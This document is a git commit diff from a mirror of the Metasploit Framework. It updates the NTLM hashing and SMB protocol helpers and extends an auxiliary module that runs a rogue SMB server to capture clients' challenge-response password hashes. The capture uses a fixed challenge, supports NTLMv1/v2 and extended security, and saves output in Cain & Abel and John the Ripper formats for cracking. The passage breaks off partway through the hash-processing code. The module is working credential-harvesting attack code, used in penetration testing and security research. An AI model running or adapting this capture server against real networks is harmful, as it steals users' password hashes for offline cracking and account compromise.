mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Merge code from Alexandre Maloteaux, fixes #3615
git-svn-id: file:///home/svn/framework3/trunk@11678 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
de7ad3f111
commit
ac651fba6b
@ -1,6 +1,7 @@
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
require 'net/ntlm'
|
||||
|
||||
module Msf
|
||||
|
||||
@ -20,6 +21,7 @@ module Exploit::Remote::SMB
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
@ -622,6 +624,7 @@ module Exploit::Remote::SMBServer
|
||||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
NTLM = Net::NTLM
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
@ -729,13 +732,31 @@ module Exploit::Remote::SMBServer
|
||||
end
|
||||
|
||||
def smb_set_defaults(c, pkt)
|
||||
smb = @state[c]
|
||||
smb = @state[c]
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
|
||||
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
|
||||
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
|
||||
end
|
||||
|
||||
def smb_error(cmd, c, errorclass, esn = false)
|
||||
# 0xc0000022 = Deny
|
||||
# 0xc000006D = Logon_Failure
|
||||
# 0x00000000 = Ignore
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
@ -136,8 +136,9 @@ module Net #:nodoc:
|
||||
}
|
||||
end
|
||||
|
||||
def lm_hash(password)
|
||||
keys = gen_keys password.upcase.ljust(14, "\0")
|
||||
def lm_hash(password, half = false)
|
||||
if half then size = 7 else size = 14 end
|
||||
keys = gen_keys password.upcase.ljust(size, "\0")
|
||||
apply_des(LM_MAGIC, keys).join
|
||||
end
|
||||
|
||||
@ -149,9 +150,10 @@ module Net #:nodoc:
|
||||
OpenSSL::Digest::MD4.digest pwd
|
||||
end
|
||||
|
||||
def ntlmv2_hash(user, password, target, opt={})
|
||||
def ntlmv2_hash(user, password, domain, opt={})
|
||||
ntlmhash = ntlm_hash(password, opt)
|
||||
userdomain = (user + target).upcase
|
||||
#With Win 7 and maybe other OSs i sometimes get my domain not uppercased, so the domain does not always need to be in uppercase
|
||||
userdomain = user.upcase + domain
|
||||
unless opt[:unicode]
|
||||
userdomain = encode_utf16le(userdomain)
|
||||
end
|
||||
@ -159,7 +161,7 @@ module Net #:nodoc:
|
||||
end
|
||||
|
||||
# responses
|
||||
def lm_response(arg)
|
||||
def lm_response(arg, half = false)
|
||||
begin
|
||||
hash = arg[:lm_hash]
|
||||
chal = arg[:challenge]
|
||||
@ -167,14 +169,15 @@ module Net #:nodoc:
|
||||
raise ArgumentError
|
||||
end
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
keys = gen_keys hash.ljust(21, "\0")
|
||||
if half then size = 7 else size = 21 end
|
||||
keys = gen_keys hash.ljust(size, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
|
||||
def ntlm_response(arg)
|
||||
hash = arg[:ntlm_hash]
|
||||
chal = arg[:challenge]
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
keys = gen_keys hash.ljust(21, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
@ -183,48 +186,60 @@ module Net #:nodoc:
|
||||
begin
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
ti = arg[:target_info]
|
||||
rescue
|
||||
raise ArgumentError
|
||||
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
|
||||
end
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:nt_client_challenge]
|
||||
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
|
||||
raise ArgumentError,"nt_client_challenge is not in a correct format "
|
||||
end
|
||||
bb = opt[:nt_client_challenge]
|
||||
else
|
||||
begin
|
||||
ti = arg[:target_info]
|
||||
rescue
|
||||
raise ArgumentError, "target_info is mandatory in this case"
|
||||
end
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
if opt[:timestamp]
|
||||
ts = opt[:timestamp]
|
||||
else
|
||||
ts = Time.now.to_i
|
||||
end
|
||||
# epoch -> milsec from Jan 1, 1601
|
||||
ts = 10000000 * (ts + TIME_OFFSET)
|
||||
if opt[:timestamp]
|
||||
ts = opt[:timestamp]
|
||||
else
|
||||
ts = Time.now.to_i
|
||||
end
|
||||
# epoch -> milsec from Jan 1, 1601
|
||||
ts = 10000000 * (ts + TIME_OFFSET)
|
||||
|
||||
blob = Blob.new
|
||||
blob.timestamp = ts
|
||||
blob.challenge = cc
|
||||
blob.target_info = ti
|
||||
|
||||
bb = blob.serialize
|
||||
end
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
|
||||
|
||||
blob = Blob.new
|
||||
blob.timestamp = ts
|
||||
blob.challenge = cc
|
||||
blob.target_info = ti
|
||||
|
||||
bb = blob.serialize
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
|
||||
end
|
||||
|
||||
|
||||
def lmv2_response(arg, opt = {})
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
|
||||
chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
|
||||
chal = NTLM::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
|
||||
end
|
||||
|
@ -102,7 +102,10 @@ SMB2_OP_GETINFO = 0x10
|
||||
SMB2_OP_SETINFO = 0x11
|
||||
SMB2_OP_BREAK = 0x12
|
||||
|
||||
|
||||
# NTLM Response Type
|
||||
NTLM_V1_RESPONSE = 1
|
||||
NTLM_V2_RESPONSE = 2
|
||||
NTLM_2_SESSION_RESPONSE = 3
|
||||
# SMB_COM_NT_TRANSACT Subcommands
|
||||
NT_TRANSACT_CREATE = 1 # File open/create
|
||||
NT_TRANSACT_IOCTL = 2 # Device IOCTL
|
||||
@ -263,7 +266,11 @@ FILE_VOLUME_IS_COMPRESSED = 0x00008000
|
||||
|
||||
|
||||
# SMB Error Codes
|
||||
SMB_ERROR_BUFFER_OVERFLOW = 0x80000005
|
||||
SMB_STATUS_SUCCESS = 0x00000000
|
||||
SMB_ERROR_BUFFER_OVERFLOW = 0x80000005
|
||||
SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
|
||||
SMB_STATUS_ACCESS_DENIED = 0xC0000022
|
||||
SMB_STATUS_LOGON_FAILURE = 0xC000006D
|
||||
|
||||
# SMB Dialect Compatibility
|
||||
DIALECT = {}
|
||||
@ -548,7 +555,7 @@ SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
||||
SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT)
|
||||
|
||||
|
||||
# A SMB template for SMB Session Setup requests (NTLMV2)
|
||||
# A SMB template for SMB Session Setup requests (When extended security is being used)
|
||||
SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'template', 'SMB', SMB_HDR ],
|
||||
[ 'uint8', 'AndX', 0 ],
|
||||
@ -569,7 +576,7 @@ SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
||||
SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT)
|
||||
|
||||
|
||||
# A SMB template for SMB Session Setup responses (NTLMV2)
|
||||
# A SMB template for SMB Session Setup responses (When extended security is being used)
|
||||
SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'template', 'SMB', SMB_HDR ],
|
||||
[ 'uint8', 'AndX', 0 ],
|
||||
|
@ -164,6 +164,7 @@ CONST = Rex::Proto::SMB::Constants
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
def self.make_ntlmv2_secblob_auth(domain, name, user, lmv2, ntlm, flags = 0x080201)
|
||||
|
||||
lmv2 ||= "\x00" * 24
|
||||
@ -234,8 +235,42 @@ CONST = Rex::Proto::SMB::Constants
|
||||
)
|
||||
return blob
|
||||
end
|
||||
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
|
||||
#mechTypes: 2 items :
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#
|
||||
#this is the default on Win7
|
||||
def self.make_simple_negotiate_secblob_resp
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
|
||||
#mechTypes: 4 items :
|
||||
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
|
||||
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#mechListMIC:
|
||||
# principal: account@domain
|
||||
def self.make_negotiate_secblob_resp(account, domain)
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
@ -276,22 +311,8 @@ CONST = Rex::Proto::SMB::Constants
|
||||
return blob
|
||||
end
|
||||
|
||||
def self.make_ntlmv2_secblob_chall(win_domain, dns_domain, win_name, dns_name, chall, flags)
|
||||
def self.make_ntlmv2_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
win_domain = Rex::Text.to_unicode(win_domain)
|
||||
dns_domain = Rex::Text.to_unicode(dns_domain)
|
||||
win_name = Rex::Text.to_unicode(win_name)
|
||||
dns_name = Rex::Text.to_unicode(dns_name)
|
||||
|
||||
addr_list = ''
|
||||
addr_list << [2, win_domain.length].pack('vv') + win_domain
|
||||
addr_list << [1, win_name.length].pack('vv') + win_name
|
||||
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [3, dns_name.length].pack('vv') + dns_name
|
||||
addr_list << [5, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [0, 0].pack('vv')
|
||||
|
||||
ptr = 0
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
@ -307,23 +328,7 @@ CONST = Rex::Proto::SMB::Constants
|
||||
) +
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
"NTLMSSP\x00" +
|
||||
[2].pack('V') +
|
||||
[
|
||||
win_domain.length, # length
|
||||
win_domain.length, # max length
|
||||
(ptr += 48)
|
||||
].pack('vvV') +
|
||||
[ flags ].pack('V') +
|
||||
chall +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
[
|
||||
addr_list.length, # length
|
||||
addr_list.length, # max length
|
||||
(ptr += win_domain.length)
|
||||
].pack('vvV') +
|
||||
win_domain +
|
||||
addr_list
|
||||
make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
)
|
||||
)
|
||||
)
|
||||
@ -332,6 +337,38 @@ CONST = Rex::Proto::SMB::Constants
|
||||
return blob
|
||||
end
|
||||
|
||||
def self.make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
addr_list = ''
|
||||
addr_list << [2, win_domain.length].pack('vv') + win_domain
|
||||
addr_list << [1, win_name.length].pack('vv') + win_name
|
||||
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [3, dns_name.length].pack('vv') + dns_name
|
||||
addr_list << [0, 0].pack('vv')
|
||||
|
||||
ptr = 0
|
||||
blob = "NTLMSSP\x00" +
|
||||
[2].pack('V') +
|
||||
[
|
||||
win_domain.length, # length
|
||||
win_domain.length, # max length
|
||||
(ptr += 48) # offset
|
||||
].pack('vvV') +
|
||||
[ flags ].pack('V') +
|
||||
chall +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
[
|
||||
addr_list.length, # length
|
||||
addr_list.length, # max length
|
||||
(ptr += win_domain.length)
|
||||
].pack('vvV') +
|
||||
win_domain +
|
||||
addr_list
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
|
||||
def self.make_ntlmv2_secblob_success
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
|
@ -25,9 +25,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Description' => %q{
|
||||
This module provides a SMB service that can be used to
|
||||
capture the challenge-response password hashes of SMB client
|
||||
systems. All responses sent by this service have the same
|
||||
hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
|
||||
allowing for easy cracking using Cain & Abel or L0phtcrack.
|
||||
systems. Responses sent by this service have by default the
|
||||
configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
|
||||
allowing for easy cracking using Cain & Abel, L0phtcrack
|
||||
or John the ripper (with jumbo patch).
|
||||
|
||||
To exploit this, the target system must try to authenticate
|
||||
to this module. The easiest way to force a SMB authentication attempt
|
||||
@ -52,64 +53,100 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
||||
OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
|
||||
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
|
||||
OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
||||
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
|
||||
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
|
||||
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
|
||||
], self.class )
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation", false ]),
|
||||
OptBool.new("NTLM_EXTENDED_SECURITY", [ true, "Use ntlm extended security when smb extended security is set", false ]),
|
||||
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set", false ]),
|
||||
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
||||
@s_ntlm_esn = datastore['NTLM_EXTENDED_SECURITY']
|
||||
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
|
||||
@domain_name = datastore['DOMAIN_NAME']
|
||||
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
||||
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
|
||||
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
|
||||
else
|
||||
print_error("CHALLENGE syntax must match 0011223344556677")
|
||||
print_error("CHALLENGE syntax must match 1122334455667788")
|
||||
return
|
||||
end
|
||||
|
||||
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
|
||||
@previous_lm_hash="none"
|
||||
@previous_ntlm_hash="none"
|
||||
exploit()
|
||||
end
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
smb_cmd_negotiate(c, buff)
|
||||
|
||||
#client set extended security negociation
|
||||
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
|
||||
smb_cmd_negotiate(c, buff, true)
|
||||
else
|
||||
smb_cmd_negotiate(c, buff, false)
|
||||
end
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
smb_cmd_session_setup(c, buff)
|
||||
|
||||
wordcount = pkt['Payload']['SMB'].v['WordCount']
|
||||
|
||||
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
|
||||
#This packet contains the lm/ntlm hashes
|
||||
if wordcount == 0x0D
|
||||
smb_cmd_session_setup(c, buff, false)
|
||||
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
|
||||
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
|
||||
elsif wordcount == 0x0C
|
||||
smb_cmd_session_setup(c, buff, true)
|
||||
else
|
||||
print_status("Unknow SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
||||
end
|
||||
|
||||
|
||||
when CONST::SMB_COM_TREE_CONNECT
|
||||
print_status("Denying tree connect from #{smb[:name]}")
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
|
||||
c.put(pkt.to_s)
|
||||
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
|
||||
|
||||
else
|
||||
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0
|
||||
c.put(pkt.to_s)
|
||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
def smb_cmd_negotiate(c, buff, c_esn)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Record the remote process ID
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
# The hardcoded challenge value
|
||||
challenge = @challenge
|
||||
|
||||
group = ''
|
||||
machine = smb[:nbsrc]
|
||||
@ -128,7 +165,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = 3
|
||||
@ -136,48 +172,253 @@ class Metasploit3 < Msf::Auxiliary
|
||||
pkt['Payload'].v['MaxVCS'] = 1
|
||||
pkt['Payload'].v['MaxBuff'] = 4356
|
||||
pkt['Payload'].v['MaxRaw'] = 65536
|
||||
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
|
||||
pkt['Payload'].v['ServerTime'] = time_lo
|
||||
pkt['Payload'].v['ServerDate'] = time_hi
|
||||
pkt['Payload'].v['Timezone'] = 0x0
|
||||
|
||||
|
||||
pkt['Payload'].v['SystemTimeLow'] = time_lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = time_hi
|
||||
pkt['Payload'].v['ServerTimeZone'] = 0x0
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['KeyLength'] = 8
|
||||
|
||||
pkt['Payload'].v['Payload'] =
|
||||
challenge +
|
||||
Rex::Text.to_unicode(group) + "\x00\x00" +
|
||||
Rex::Text.to_unicode(machine) + "\x00\x00"
|
||||
if c_esn && @s_smb_esn then
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000e3fd
|
||||
pkt['Payload'].v['KeyLength'] = 0
|
||||
pkt['Payload'].v['Payload'] = @s_GUID
|
||||
|
||||
if @s_gss_neg then
|
||||
pkt['Payload'].v['Payload'] += UTILS::make_simple_negotiate_secblob_resp
|
||||
end
|
||||
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload'].v['Capabilities'] = 0xe3fd
|
||||
pkt['Payload'].v['KeyLength'] = 8
|
||||
pkt['Payload'].v['Payload'] = @challenge +
|
||||
Rex::Text.to_unicode(group) + "\x00\x00" +
|
||||
Rex::Text.to_unicode(machine) + "\x00\x00"
|
||||
end
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_session_setup(c, buff)
|
||||
def smb_cmd_session_setup(c, buff, esn)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
#extended security has been negociated
|
||||
if esn
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
securityblobLen = pkt['Payload'].v['SecurityBlobLen']
|
||||
blob = pkt['Payload'].v['Payload'][0,securityblobLen]
|
||||
|
||||
#detect if GSS is being used
|
||||
if blob[0,7] == 'NTLMSSP'
|
||||
c_gss = false
|
||||
else
|
||||
c_gss = true
|
||||
start = blob.index('NTLMSSP')
|
||||
if start
|
||||
blob.slice!(0,start)
|
||||
else
|
||||
print_status("Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]}, ignoring ...")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
# Record the remote multiplex ID
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
end
|
||||
ntlm_message = NTLM::Message.parse(blob)
|
||||
|
||||
lm_len = pkt['Payload'].v['PasswordLenLM']
|
||||
nt_len = pkt['Payload'].v['PasswordLenNT']
|
||||
case ntlm_message
|
||||
when NTLM::Message::Type1
|
||||
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
|
||||
|
||||
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
|
||||
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
||||
if (ntlm_message.flag & CONST::NEGOTIATE_NTLM2_KEY != 0)
|
||||
c_ntlm_esn = true
|
||||
else
|
||||
c_ntlm_esn = false
|
||||
end
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 4
|
||||
pkt['Payload']['SMB'].v['UserID'] = 2050
|
||||
pkt['Payload'].v['AndX'] = 0xFF
|
||||
pkt['Payload'].v['Reserved1'] = 0x00
|
||||
pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
|
||||
pkt['Payload'].v['Action'] = 0x0000
|
||||
|
||||
win_domain = Rex::Text.to_unicode(@domain_name.upcase)
|
||||
win_name = Rex::Text.to_unicode(@domain_name.upcase)
|
||||
dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
|
||||
dns_name = Rex::Text.to_unicode(@domain_name.downcase)
|
||||
|
||||
#create the ntlmssp_challenge security blob
|
||||
if c_ntlm_esn && @s_ntlm_esn
|
||||
sb_flag = 0xe28a8215 # ntlm2
|
||||
else
|
||||
sb_flag = 0xe2828215 #no ntlm2
|
||||
end
|
||||
if c_gss
|
||||
securityblob = UTILS::make_ntlmv2_secblob_chall( win_domain,
|
||||
win_name,
|
||||
dns_domain,
|
||||
dns_name,
|
||||
@challenge,
|
||||
sb_flag)
|
||||
else
|
||||
securityblob = UTILS::make_ntlm_type2_blob( win_domain,
|
||||
win_name,
|
||||
dns_domain,
|
||||
dns_name,
|
||||
@challenge,
|
||||
sb_flag)
|
||||
end
|
||||
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
|
||||
pkt['Payload'].v['Payload'] = securityblob
|
||||
|
||||
|
||||
buff = pkt['Payload'].v['Payload']
|
||||
buff.slice!(0, lm_len + nt_len)
|
||||
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
c.put(pkt.to_s)
|
||||
|
||||
smb[:username] = names[0]
|
||||
smb[:domain] = names[1]
|
||||
smb[:peer_os] = names[2]
|
||||
smb[:peer_lm] = names[3]
|
||||
when NTLM::Message::Type3
|
||||
#we can process the hash and send a status_logon_failure response packet
|
||||
|
||||
# Record the remote multiplex ID
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
lm_len = ntlm_message.lm_response.length # Always 24
|
||||
nt_len = ntlm_message.ntlm_response.length
|
||||
|
||||
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
|
||||
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
|
||||
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
|
||||
}
|
||||
|
||||
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
|
||||
arg[:ntlm_ver] = CONST::NTLM_2_SESSION_RESPONSE
|
||||
end
|
||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
# a ntlmv2 response
|
||||
